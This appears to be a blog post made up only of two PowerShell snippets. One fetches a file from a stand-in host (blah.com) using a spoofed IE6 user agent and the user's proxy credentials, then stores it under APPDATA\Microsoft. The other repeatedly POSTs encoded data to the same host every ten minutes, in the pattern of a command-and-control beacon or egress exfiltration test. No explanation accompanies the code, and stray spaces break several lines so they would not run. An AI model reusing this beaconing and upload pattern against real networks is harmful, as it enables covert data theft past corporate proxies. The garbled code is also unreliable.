$wc = New-Object System.Net.WebClient
$wc.Headers.Add("User-Agent"," IE6")
$wc.Proxy = [System.Net.WebRequest]:: DefaultWebProxy
$wc.Proxy.Credentials = [System.Net.CredentialCache]:: DefaultNetworkCredentials
$response = $wc.DownloadString("http:// blah.com/master.txt")
Set-Content -Value $response -Path $env:APPDATA\Microsoft\output. txt
---
$url = "http://blah.com/"
$encodedData = "b3V0Ym91bmQ%3d"
$params = New-Object System.Collections. Specialized. NameValueCollection
$params.Add('poster','blah55')
$params.Add('syntax','text')
$params.Add('content',$ encodedData)
$wc = New-Object System.Net.WebClient
$wc.Headers.Add("User-Agent"," IE6")
$wc.Proxy = [System.Net.WebRequest]:: DefaultWebProxy
$wc.Proxy.Credentials = [System.Net.CredentialCache]:: DefaultNetworkCredentials
for ($i=1; $i -le 50; $i++)
{
$response = $wc.UploadValues($url, "POST", $params)
$decoded = [System.Text.Encoding]::UTF8. GetString($response)
Set-Content -Value $decoded -Path $env:APPDATA\Microsoft\post. txt
start-sleep -seconds 600
}
$j=1
No comments:
Post a Comment